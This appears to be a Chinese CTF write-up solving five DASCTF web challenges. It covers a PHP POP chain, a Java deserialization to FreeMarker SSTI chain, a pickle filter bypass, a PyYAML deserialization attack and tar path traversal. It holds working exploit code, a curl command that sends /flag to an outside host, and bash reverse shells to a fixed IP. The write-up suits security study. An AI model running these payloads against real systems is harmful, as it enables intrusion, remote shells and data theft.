web1 首先是php源码development环境源码泄露,分别拿到start.sh(dirsearch扫出来的)和p0p.php的源码
然后根据源码稍微下修改下,在自己本地搭建测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 <?php class Pro { private $exp ; private $rce2 ; public function __get ($name ) { return $this ->$rce2 =$this ->exp[$rce2 ]; } public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } } class Yang { public function __call ($name , $ary ) { if ($this ->key === true || $this ->finish1->name) { if ($this ->finish->finish) { echo "Yang::__call " ; var_dump ($ary ); call_user_func ($this ->now[$name ], $ary [0 ]); } } } public function ycb ( ) { echo "Yang::ycb " ; $this ->now = 0 ; $a = $this ->finish->finish; return $a ; } public function __wakeup ( ) { $this ->key = True; } } class Cheng { private $finish ; public $name ; public function __get ($value ) { echo "Cheng::__get " ; $ret = $this ->$value = $this ->name[$value ]; return $ret ; } } class Bei { public function __destruct ( ) { if ($this ->CTF->ycb ()) { echo "Bei::__destruct inif" ; $this ->fine->YCB1 ($this ->rce, $this ->rce1); } } public function __wakeup ( ) { $this ->key = false ; } } function prohib ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); } $a = $_POST ["CTF" ];if (isset ($a )){ unserialize ($a ); } ?>
执行链条 Bei::__destruct -> Yang::__call()
然后利用Cheng进行条件判断
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php class Pro { private $exp ; private $rce2 ; public function __construct ( ) { $this ->exp[1 ] = 1 ; $this ->rce2 = 1 ; } } class Yang {} class Cheng { private $finish ; public $name ; public function __construct ( ) { $this ->finish = 1 ; $this ->name["finish" ] = true ; } } class Bei {} function prohib ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); } $a = new Bei ;$a ->key = false ;$a ->CTF = new Yang ;$a ->CTF->finish = new Cheng ;$a ->fine = new Yang ;$a ->fine->finish = new Cheng ;$a ->fine->now["YCB1" ] = "readfile" ;$a ->rce = "php://filter/convert.base64-encode/resource=/proc/1/environ" ;$a ->rce1 = "1" ;echo urlencode (serialize ($a ));
1 CTF=O%3A3%3A%22Bei%22%3A5%3A%7Bs%3A3%3A%22key%22%3Bb%3A0%3Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A2%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3Bi%3A1%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A8%3A%22readfile%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fproc%2F1%2Fenviron%22%3Bs%3A4%3A%22rce1%22%3Bs%3A1%3A%221%22%3B%7D
然后base64解码得到flag
DASCTF{29196943047249369343892607212394}
当然还可以还可以进行双写绕过,加修改字符串长度达到RCE功能。
web2 首先拿到源码进行审计,分析两个有用的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @RequestMapping({"/templating"}) public String templating (@RequestParam String name, Model model) { model.addAttribute("name" , name); return "index" ; } @RequestMapping({"/getflag"}) @ResponseBody public String getflag (@RequestParam String data) throws IOException, ClassNotFoundException { byte [] decode = Base64.getDecoder().decode(data); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byteArrayOutputStream.write(decode); NewObjectInputStream objectInputStream = new NewObjectInputStream (new ByteArrayInputStream (byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); return "Success" ; }
首先是/templating,返回根据index进行模板渲染,
然后是/getflag,传入data进行反序列化
看到Utils里面的HtmlInvocationHandler类,这是一个用于代理的类,重点在
1 2 3 4 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { Object result = this .obj.get(method.getName()); return result; }
如果这个进行动态代理以后则代理的类方法会被拦截反过来执行HtmlInvocationHandler中成员变量obj的get方法,并且方法名作为变量传入。
发现HTMLmap类的get方法代码如下
1 2 3 4 5 6 7 8 public Object get (Object key) { try { Object obj = HtmlUploadUtil.uploadfile(this .filename, this .content); return obj; } catch (Exception var4) { throw new RuntimeException (var4); } }
发现不管key是多少,都会调用HtmlUploadUtil.uploadfile(this.filename, this.content)
然后审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static boolean uploadfile (String filename, String content) { if (filename != null && !filename.endsWith(".ftl" )) { return false ; } else { String realPath = "/app/templates/" + filename; if (!realPath.contains("../" ) && !realPath.contains("..\\" )) { try { BufferedWriter writer = new BufferedWriter (new FileWriter (realPath)); writer.write(content); writer.close(); return true ; } catch (IOException var4) { System.err.println("Error uploading file: " + var4.getMessage()); return false ; } } else { return false ; } } }
发现是上传.ftl后缀结尾的文件,ftl是java的模板类似于python 的jinja2模板。是可以执行代码的,加上可以上传ftl文件,所以可以考虑上传index.ftl文件覆盖原文件,达到执行恶意代码功能。
利用点找到了,剩下的就是链子。
这里可以利用动态代理去代理map,这样map调用toString的时候会调用到this.obj.get(method.getName()),从而调用文件上传。
然后map的toString方法可以由BadAttributeValueExpException反序列化的时候调用,所以链子就是BadAttributeValueExpException#readObject -> Map#toString -> HtmlInvocationHandler#invoke -> HtmlMap#get -> HtmlUploadUtil#uploadfile
然后上传内容是ssti 利用curl外带flag
生成序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.ycbjava.Utils.HtmlMap;import com.ycbjava.Utils.NewObjectInputStream;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Map;public class exp { public static void main (String[] args) throws Exception { HtmlMap htmlMap = new HtmlMap (); htmlMap.filename = "index.ftl" ; htmlMap.content = "<!DOCTYPE html>\n" + "<html lang=\"en\">\n" + "<head>\n" + " <meta charset=\"UTF-8\">\n" + " <#assign a=springMacroRequestContext.webApplicationContext>\n" + " <#assign b=a.getBean('freeMarkerConfiguration')>\n" + " <#assign c=b.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" + " <#assign VOID=b.setNewBuiltinClassResolver(c)>${\"freemarker.template.utility.Execute\"?new()(\"curl -X POST -F flag=@/flag https://t7609j5619.goho.co\")}\n" + "</head>\n" + "<body></body>\n" + "</html>" ; Class htmlInvocationHandlerClass = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler" ); Constructor HtmlInvocationHandlerConstructor = htmlInvocationHandlerClass.getDeclaredConstructors()[0 ]; HtmlInvocationHandlerConstructor.setAccessible(true ); Map expmap = (Map) Proxy.newProxyInstance( exp.class.getClassLoader(), new Class []{Map.class}, (InvocationHandler) HtmlInvocationHandlerConstructor.newInstance(htmlMap) ); BadAttributeValueExpException bavException = new BadAttributeValueExpException (null ); Field field = bavException.getClass().getDeclaredField("val" ); field.setAccessible(true ); field.set(bavException, expmap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(bavException); byteArrayOutputStream.flush(); byte [] bytes = byteArrayOutputStream.toByteArray(); String encode = Base64.getEncoder().encodeToString(bytes); System.out.println(encode); } }
DASCTF{13685934647267473647078910074106}
web4 根据题目提示,拿到www.zip解压得到app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, sessionfrom secret import secret@app.route('/verification' ) def verification (): try : attribute = session.get('Attribute' ) if not isinstance (attribute, dict ): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name' ) == 'admin' : if attribute.get('admin' ) == 1 : return secret else : return "Don't play tricks on me" else : return "You are a perfect stranger to me" if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
题目中没有给我们session的密钥,于是先解密一下flask-session,结果发现secret_key在里面
利用得到的,结合代码以管理员身份登录
提示跳转/src0de拿到部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route('/src0de' ) def src0de (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e' ) def ppppppppppick1e (): try : username = "admin" rsp = make_response("Hello, %s " % username) rsp.headers['hint' ] = "Source in /src0de" pick1e = request.cookies.get('pick1e' ) if pick1e is not None : pick1e = base64.b64decode(pick1e) else : return rsp if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!" else : return "No Way!!!" except Exception as e: error_message = str (e) return error_message return rsp class GWHT (): def __init__ (self ): pass if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
发现是一个pickle反序列化,但是有check函数检查,不知道是什么函数。
经过测试发现操作码R被过滤了,利用b指令码调用__setstate__
具体原理可以见最近碰到的 Python pickle 反序列化小总结 - 先知社区 (aliyun.com) 中bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64import pickleclass GWHT (): def __init__ (self ): pass opcode = b'''(c__main__ GWHT o}(S"__setstate__" cos system ubS"bash -c \"bash -i >& /dev/tcp/115.236.153.174/47295 0>&1\"" b.''' pickle.loads(opcode) print (base64.b64encode(opcode))
然后反弹shell
拿到shell以后发现flag文件要root权限读取,于是这里用到了Capabilities提权,
虽然没有getcap,推测python可能存在,于是尝试用python提权,发现成功了
最好是利用提权神器linpeas.sh,这个是最能发现利用点的。
最终拿到flag
DASCTF{52139463825490067065822591827051}
web5 这个题是做过类似的题目,完全非预期解
首先拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import uuidfrom flask import *from werkzeug.utils import *app = Flask(__name__) app.config['SECRET_KEY' ] =str (uuid.uuid4()).replace("-" ,"*" )+"Boogipopisweak" @app.route('/' ) def index (): name=request.args.get("name" ,"name" ) m1sery=[request.args.get("m1sery" ,"Doctor.Boogipop" )] if (session.get("name" )=="Dr.Boog1pop" ): blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/" , name, re.IGNORECASE) if blacklist: return "bad hacker no way" exec (f'for [{name} ] in [{m1sery} ]:print("strange?")' ) else : session['name' ] = "Doctor" return render_template("index.html" ,name=session.get("name" )) @app.route('/read' ) def read (): file = request.args.get('file' ) fileblacklist=re.findall("/flag|fl|ag/" ,file, re.IGNORECASE) if fileblacklist: return "bad hacker!" start=request.args.get("start" ,"0" ) end=request.args.get("end" ,"0" ) if start=="0" and end=="0" : return open (file,"rb" ).read() else : start,end=int (start),int (end) f=open (file,"rb" ) f.seek(start) data=f.read(end) return data @app.route("/<path:path>" ) def render_page (path ): print (os.path.pardir) print (path) if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path) if __name__=='__main__' : app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
审计一遍以后发现只过滤了fl ag,然后尝试读取docker创建时候的环境变量,发现确实在环境变量中。
最终拿到flag DASCTF{12823372594489346656591220623656}
web6 拿到源码进行本地模拟部署
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import tarfilefrom flask import Flask, render_template, request, redirectfrom hashlib import md5import yamlimport osimport reapp = Flask(__name__) def waf (s ): flag = True blacklist = [ "bytes" , "eval" , "map" , "frozenset" , "popen" , "tuple" , "exec" , "\\" , "object" , "listitems" , "subprocess" , "object" , "apply" , ] for no in blacklist: if no.lower() in str (s).lower(): flag = False print (no) break return flag def extractFile (filepath, type ): '''解压tar文件''' extractdir = filepath.split("." )[0 ] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == "tar" : tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames() @app.route("/" , methods=["GET" ] ) def main (): fn = "uploads/" + md5().hexdigest() if not os.path.exists(fn): os.makedirs(fn) return render_template("index.html" ) @app.route("/upload" , methods=["GET" , "POST" ] ) def upload (): if request.method == "GET" : return redirect("/" ) if request.method == "POST" : upFile = request.files["file" ] print (upFile) if re.search(r"\.\.|/" , upFile.filename, re.M | re.I) != None : return "<script>alert('Hacker!');window.location.href='/upload'</script>" savePath = f"uploads/{upFile.filename} " print (savePath) upFile.save(savePath) if tarfile.is_tarfile(savePath): zipDatas = extractFile(savePath, "tar" ) print (zipDatas) return render_template("result.html" , path=savePath, files=zipDatas) else : return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>" @app.route("/src" , methods=["GET" ] ) def src (): if request.args: username = request.args.get("username" ) with open (f"config/{username} .yaml" , "rb" ) as f: Config = yaml.load(f.read()) return render_template("admin.html" , username="admin" , message="success" ) else : return render_template("index.html" ) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8000 )
审计完源码,核心思路如下,先用upload路由上传tar压缩包,然后解压文件到./config/{username}.yaml,然后再/src?username={username}的方式来进行yaml反序列化。
有一个细节Config = yaml.load(f.read())
这一段代码标志着这个PyYAML版本似乎在5.1以下,因为5.1以上一般写法是Config = yaml.load(f.read())
发现黑名单没有过滤os.system。所以直接反弹shell
1 !!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/115.236.153.174/47295 0>&1\"" ]
所以思路很简单,所以动手。这里要用到一个CVE-2007-4559来进行tar文件打包
1 2 3 4 5 6 7 8 import tarfiledef change_name (tarinfo ): tarinfo.name = "../../config/" + tarinfo.name return tarinfo with tarfile.open ("shell.tar" , "w:tar" ) as tar: tar.add("shell.yaml" , filter =change_name)
然后上传文件,并且解压缩到了config/shell.yaml
然后访问拿到了shell
直接cat /fll*即可
DASCTF{38527367633473623946862083463114}